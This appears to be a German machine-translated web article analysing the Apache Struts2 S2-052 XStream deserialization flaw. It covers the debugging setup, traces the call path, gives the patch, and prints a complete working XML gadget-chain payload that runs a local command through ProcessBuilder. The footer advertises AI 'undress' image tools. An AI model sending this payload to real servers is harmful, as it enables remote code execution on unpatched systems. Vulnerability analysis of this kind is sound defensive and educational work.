Inhaltsverzeichnis
Vorwort
Konstruktion der Debugging-Umgebung
Analyse des Schwachstellenprinzips
Die Sicherheitsanfälligkeit wird auf der Seite http reproduziert ://localhost:8080 Klicken Sie in //struts2-rest-showcase/orders/3/edit auf „Senden“,
Der offizielle Patch enthält hauptsächlich eine Whitelist für die Daten und fügt Sammlung, Karte und einige grundlegende Klassen hinzu Die Zeitklasse wird in die Whitelist aufgenommen, wodurch verhindert werden kann, dass XStream während der Deserialisierung einige schädliche Klassen einbringt. 12 Upgrade auf Struts 2.5.13-Version
Heim Betrieb und Instandhaltung Sicherheit Beispielanalyse der Schwachstelle Struts2-052

Beispielanalyse der Schwachstelle Struts2-052

May 13, 2023 am 11:25 AM
struts2

Vorwort

Am 5. September 2017 wurde eine schwerwiegende Schwachstelle, die von Sicherheitsforschern der ausländischen Sicherheitsforschungsorganisation lgtm.com entdeckt wurde, offiziell in Apache Struts 2 veröffentlicht. Die Schwachstellennummer lautete CVE-2017-9805 (S2-052). Angreifer Sorgfältig erstellte XML-Daten können zur Remote-Befehlsausführung übergeben werden.
Die XStream-Komponente des Struts2-REST-Plug-Ins weist eine Deserialisierungsschwachstelle auf. Bei Verwendung der XStream-Komponente zur Deserialisierung von Datenpaketen im XML-Format wird der Dateninhalt nicht effektiv überprüft, was ein Sicherheitsrisiko darstellt und durch Remote-Befehle ausgeführt werden kann.
Exploit-Bedingungen: Verwendung des REST-Plugins und innerhalb des betroffenen Versionsbereichs.
Ausnutzung: Der Angreifer erstellt bösartige Datenpakete zur Remote-Ausnutzung.
Betroffene Versionen: Struts 2.1.2 – Struts 2.3.33, Struts 2.5 – Struts 2.5.12

Konstruktion der Debugging-Umgebung

1) Laden Sie den offiziellen Quellcode herunter:
git clone https://github.com/apache/Struts .git
2) Wechseln Sie zum 2.5.12-Zweig:
git checkout STRUTS_2_5_12
3) Kopieren Sie den gesamten Ordner src/apps/rest-showcase im Quellpaket und erstellen Sie ein neues Projekt
4) Verwenden Sie IDEA oder Eclipse, um das zu importieren Maven-Projekt
5 ) Nach der Ausführung im Debug-Modus können Sie problemlos debuggen
Beispielanalyse der Schwachstelle Struts2-052

Analyse des Schwachstellenprinzips

Laut der offiziellen Ankündigung wissen wir, dass die Schwachstelle in der XstreamHandler-Klasse im struts2-rest-plugin-2.5 auftritt .12.jar-Paket.
Schauen Sie sich diese Klasse an. In dieser Klasse gibt es eine toObject-Methode, deren Funktion darin besteht, den XML-Inhalt zu deserialisieren.
Beispielanalyse der Schwachstelle Struts2-052
Legen Sie in dieser Methode zunächst einen Haltepunkt fest und erstellen Sie dann das Datenpaket.
Beispielanalyse der Schwachstelle Struts2-052
Nachdem das Datenpaket gesendet wurde, springt es zum Haltepunkt. Zu diesem Zeitpunkt können Sie sehen, dass der ContentTypeInterceptor im oberen Aufrufstapel aufgerufen wurde Diese Methode
Beispielanalyse der Schwachstelle Struts2-052
Die Intercept-Methode in der ContentTypeInterceptor-Klasse generiert ein entsprechendes Objekt basierend auf dem Wert des übergebenen Content-Type. Da wir application/xml übergeben, wird entsprechend ein XML-Verarbeitungsobjekt XStreamHandler generiert.
Fahren Sie mit f5 fort und sehen Sie sich die Funktion unmarshal an, die die Deserialisierung durchführt, wenn diese Funktion ausgeführt wird, was zur Ausführung eines Remote-Befehls führt.
Beispielanalyse der Schwachstelle Struts2-052
Dann geben Sie die Unmarshal-Funktion ein und fahren mit dem Debuggen fort. Der AbstractReflectionConverter analysiert Schritt für Schritt die von uns übermittelten XML-Tags und -Werte und ruft schließlich den Code im POC auf.
Beispielanalyse der Schwachstelle Struts2-052

Die Sicherheitsanfälligkeit wird auf der Seite http reproduziert ://localhost:8080 Klicken Sie in //struts2-rest-showcase/orders/3/edit auf „Senden“,


fangen Sie die HTTP-Anfrage ab, ändern Sie den Anforderungstext in „POC Payload“ und ändern Sie den Content-Type-Header in „application/xml“. . Beispielanalyse der Schwachstelle Struts2-052Die Nutzlast ist:

<map> 
  <entry> 
    <jdk.nashorn.internal.objects.nativestring> 
      <flags>0</flags>  
      <value> 
        <datahandler> 
          <datasource> 
            <is> 
              <cipher> 
                <initialized>false</initialized>  
                <opmode>0</opmode>  
                <serviceiterator> 
                  <iter> 
                    <iter></iter>  
                    <next> 
                      <command> 
                        <string>/Applications/Calculator.app/Contents/MacOS/Calculator</string> 
                      </command>  
                      <redirecterrorstream>false</redirecterrorstream> 
                    </next> 
                  </iter>  
                  <filter> 
                    <method> 
                      <class>java.lang.ProcessBuilder</class>  
                      <name>start</name>  
                      <parameter-types></parameter-types> 
                    </method>  
                    <name>foo</name> 
                  </filter>  
                  <next>foo</next> 
                </serviceiterator>  
                <lock></lock> 
              </cipher>  
              <input>  
              <ibuffer></ibuffer>  
              <done>false</done>  
              <ostart>0</ostart>  
              <ofinish>0</ofinish>  
              <closed>false</closed> 
            </is>  
            <consumed>false</consumed> 
          </datasource>  
          <transferflavors></transferflavors> 
        </datahandler>  
        <datalen>0</datalen> 
      </value> 
    </jdk.nashorn.internal.objects.nativestring>  
    <jdk.nashorn.internal.objects.nativestring></jdk.nashorn.internal.objects.nativestring> 
  </entry>  
  <entry> 
    <jdk.nashorn.internal.objects.nativestring></jdk.nashorn.internal.objects.nativestring>  
    <jdk.nashorn.internal.objects.nativestring></jdk.nashorn.internal.objects.nativestring> 
  </entry> 
</map>
Nach dem Login kopieren

Nachdem die Anfrage gesendet wurde, wird der Rechner angezeigt


Beispielanalyse der Schwachstelle Struts2-052Patch

Der offizielle Patch enthält hauptsächlich eine Whitelist für die Daten und fügt Sammlung, Karte und einige grundlegende Klassen hinzu Die Zeitklasse wird in die Whitelist aufgenommen, wodurch verhindert werden kann, dass XStream während der Deserialisierung einige schädliche Klassen einbringt. 12 Upgrade auf Struts 2.5.13-Version

Das obige ist der detaillierte Inhalt vonBeispielanalyse der Schwachstelle Struts2-052. Für weitere Informationen folgen Sie bitte anderen verwandten Artikeln auf der PHP chinesischen Website!

Erklärung dieser Website
Der Inhalt dieses Artikels wird freiwillig von Internetnutzern beigesteuert und das Urheberrecht liegt beim ursprünglichen Autor. Diese Website übernimmt keine entsprechende rechtliche Verantwortung. Wenn Sie Inhalte finden, bei denen der Verdacht eines Plagiats oder einer Rechtsverletzung besteht, wenden Sie sich bitte an admin@php.cn

Heiße KI -Werkzeuge

Undresser.AI Undress

Undresser.AI Undress

KI-gestützte App zum Erstellen realistischer Aktfotos

AI Clothes Remover

AI Clothes Remover

Online-KI-Tool zum Entfernen von Kleidung aus Fotos.

Undress AI Tool

Undress AI Tool

Ausziehbilder kostenlos

Clothoff.io

Clothoff.io

KI-Kleiderentferner

Video Face Swap

Video Face Swap

Tauschen Sie Gesichter in jedem Video mühelos mit unserem völlig kostenlosen KI-Gesichtstausch-Tool aus!

Heiße Werkzeuge

Notepad++7.3.1

Notepad++7.3.1

Einfach zu bedienender und kostenloser Code-Editor

SublimeText3 chinesische Version

SublimeText3 chinesische Version

Chinesische Version, sehr einfach zu bedienen

Senden Sie Studio 13.0.1

Senden Sie Studio 13.0.1

Leistungsstarke integrierte PHP-Entwicklungsumgebung

Dreamweaver CS6

Dreamweaver CS6

Visuelle Webentwicklungstools

SublimeText3 Mac-Version

SublimeText3 Mac-Version

Codebearbeitungssoftware auf Gottesniveau (SublimeText3)

So betrachten Sie historische Schwachstellen von Struts2 aus Schutzsicht So betrachten Sie historische Schwachstellen von Struts2 aus Schutzsicht May 13, 2023 pm 05:49 PM

1. Einleitung Die Struts2-Schwachstelle ist eine klassische Reihe von Schwachstellen. Die Hauptursache liegt darin, dass Struts2 OGNL-Ausdrücke einführt, um das Framework flexibel und dynamisch zu machen. Da das Patchen des gesamten Frameworks verbessert wurde, wird es jetzt viel schwieriger sein, neue Schwachstellen in Struts2 zu entdecken. Der tatsächlichen Situation nach zu urteilen, haben die meisten Benutzer bereits historische Schwachstellen mit hohem Risiko behoben. Derzeit werden Struts2-Schwachstellen bei Penetrationstests hauptsächlich dem Zufall überlassen, oder es ist effektiver, ungepatchte Systeme anzugreifen, nachdem sie dem Intranet ausgesetzt wurden. Analyseartikel im Internet analysieren diese Struts2-Schwachstellen hauptsächlich aus der Perspektive von Angriff und Ausnutzung. Als neues Offensiv- und Defensivteam des H3C ist es Teil unserer Aufgabe, die Regelbasis der ips-Produkte aufrechtzuerhalten. Heute werden wir dieses System überprüfen.

Was ist das Prinzip des Struts2-Frameworks? Was ist das Prinzip des Struts2-Frameworks? Jan 04, 2024 pm 01:55 PM

Das Prinzip des Struts2-Frameworks: 1. Der Interceptor analysiert den Anforderungspfad. 3. Erstellt das Aktionsobjekt. 5. Gibt das Ergebnis zurück Parsing. Sein Prinzip basiert auf dem Interceptor-Mechanismus, der den Geschäftslogik-Controller vollständig von der Servlet-API trennt und so die Wiederverwendbarkeit und Wartbarkeit des Codes verbessert. Durch die Verwendung des Reflexionsmechanismus kann das Struts2-Framework flexibel Aktionsobjekte erstellen und verwalten, um Anfragen und Antworten zu verarbeiten.

Beispielanalyse der Struts2-Schwachstelle S2-001 Beispielanalyse der Struts2-Schwachstelle S2-001 May 15, 2023 pm 03:58 PM

Vulhub-Schwachstellenserie: Struts2-Schwachstelle S2-0011. Beschreibung der Schwachstelle: Struts2-Schwachstelle S2-001. Wenn der Benutzer Formulardaten übermittelt und die Überprüfung fehlschlägt, verwendet der Server den OGNL-Ausdruck, um den zuvor vom Benutzer übermittelten Parameterwert %{value} zu analysieren füllt die entsprechenden Formulardaten auf. Zum Beispiel auf einer Registrierungs- oder Anmeldeseite. Wenn eine Übermittlung fehlschlägt, gibt der Server normalerweise standardmäßig die zuvor übermittelten Daten zurück. Da der Server %{value} verwendet, um eine OGNL-Ausdrucksanalyse für die übermittelten Daten durchzuführen, kann der Server die Nutzlast direkt senden, um den Befehl auszuführen. 2. Ausnutzung von Vulhub-Schwachstellen: Durch die Verwendung von Vulhub zur Reproduktion von Schwachstellen kann der Umgebungskonstruktionsprozess eingespart werden, was sehr praktisch ist. vu

Wie reproduziert sich die Sicherheitsanfälligkeit bezüglich Remotecodeausführung in Struts2 S2-059? Wie reproduziert sich die Sicherheitsanfälligkeit bezüglich Remotecodeausführung in Struts2 S2-059? May 23, 2023 pm 10:37 PM

0x00 Einführung Struts2 ist ein sehr leistungsfähiges JavaWeb-Open-Source-Framework, das von der Apache-Softwareorganisation gestartet wurde und im Wesentlichen einem Servlet entspricht. Struts2 basiert auf der MVC-Architektur und verfügt über eine klare Framework-Struktur. Es wird normalerweise als Controller zum Einrichten der Dateninteraktion zwischen Modellen und Ansichten verwendet und zum Erstellen von Java-Webanwendungen auf Unternehmensebene verwendet. Es nutzt und erweitert die JavaServletAPI und ermutigt Entwickler, die MVC-Architektur zu übernehmen. Struts2 basiert auf den hervorragenden Designideen von WebWork, übernimmt einige Vorteile des Struts-Frameworks und bietet ein übersichtlicheres Webanwendungs-Framework, das im MVC-Designmuster implementiert ist. 0x01-Schwachstelle

Struts2-057 zwei Versionen der RCE-Schwachstellenbeispielanalyse Struts2-057 zwei Versionen der RCE-Schwachstellenbeispielanalyse May 15, 2023 pm 06:46 PM

Vorwort Am 22. August 2018 veröffentlichte Apache Struts2 eine Sicherheitslücke mit hohem Risiko für die Remotecodeausführung (S2-057/CVE-2018-11776). Die Sicherheitslücke wurde von ManYueMo, einem Sicherheitsforscher, entdeckt SemmleSecurityResearch-Team. Diese Sicherheitsanfälligkeit ist auf die Tatsache zurückzuführen, dass bei Verwendung der Namespace-Funktion zum Definieren der XML-Konfiguration im Struts2-Entwicklungsframework der Namespace-Wert nicht festgelegt ist und nicht in der Aktionskonfiguration der oberen Ebene (ActionConfiguration) festgelegt ist oder ein Platzhalter-Namespace verwendet wird. Dies kann zur Remote-Codeausführung führen. Auf die gleiche Weise, u

So reproduzieren Sie die Schwachstelle Apache Struts2--048 bezüglich Remotecodeausführung So reproduzieren Sie die Schwachstelle Apache Struts2--048 bezüglich Remotecodeausführung May 12, 2023 pm 07:43 PM

0x00 Einführung Das Struts2-Framework ist eine Open-Source-Webanwendungsarchitektur für die Entwicklung von JavaEE-Webanwendungen. Es nutzt und erweitert JavaServletAPI und ermutigt Entwickler, die MVC-Architektur zu übernehmen. Struts2 basiert auf den hervorragenden Designideen von WebWork, übernimmt einige der Vorteile des Struts-Frameworks und bietet ein übersichtlicheres Webanwendungs-Framework, das im MVC-Designmuster implementiert ist. Übersicht über die Sicherheitslücke 0x01. In der ApacheStruts22.3.x-Serie ist das Plug-in struts2-struts1-plugin aktiviert und das Verzeichnis struts2-showcase ist vorhanden

Beispielanalyse der Site-Risiken des Struts2-Frameworks Beispielanalyse der Site-Risiken des Struts2-Frameworks May 30, 2023 pm 12:32 PM

1. Überblick Struts ist ein Open-Source-Projekt, das von der Apache Software Foundation (ASF) gefördert wird. Es begann als Teilprojekt innerhalb des Jakarta-Projekts und wurde später zu einem Spitzenprojekt von ASF. Es implementiert das Anwendungsframework [WebFramework] basierend auf dem Model-View-Controller [MVC]-Entwurfsmuster von JavaEE-Webanwendungen unter Verwendung der JavaServlet/JSP-Technologie. Es ist ein klassisches Produkt im klassischen MVC-Entwurfsmuster. In den frühen Tagen der Entwicklung von JavaEE-Webanwendungen wurde HTM zusätzlich zur Servlet-Technologie im Allgemeinen im Quellcode von JavaServerPages (JSP) verwendet.

So führen Sie eine Schwachstellenanalyse für die Remotecodeausführung in Apache Struts2 S2-057 durch So führen Sie eine Schwachstellenanalyse für die Remotecodeausführung in Apache Struts2 S2-057 durch May 15, 2023 pm 09:43 PM

Vorwort Das Apache Struts-Framework ist ein Open-Source-Projekt, das auf dem Webanwendungs-Framework von JavaServlets, JavaBeans und JavaServerPages (JSP) basiert und auf dem Model-View-Controller (MVC)-Entwurfsmuster basiert und zum Erstellen komplexer Webanwendungen verwendet werden kann Anwendungen. Es ermöglicht uns, den Code der Geschäftslogik, Steuerlogik und Präsentationslogik einer Anwendung zu zerlegen und ihn so wiederverwendbar und wartbar zu machen. Das Struts-Framework ist Teil des Jakarta-Projekts und wird von der Apache Software Foundation verwaltet. Das Tianrongxin Alpha Lab bringt Ihnen ApacheStruts2S2-057

See all articles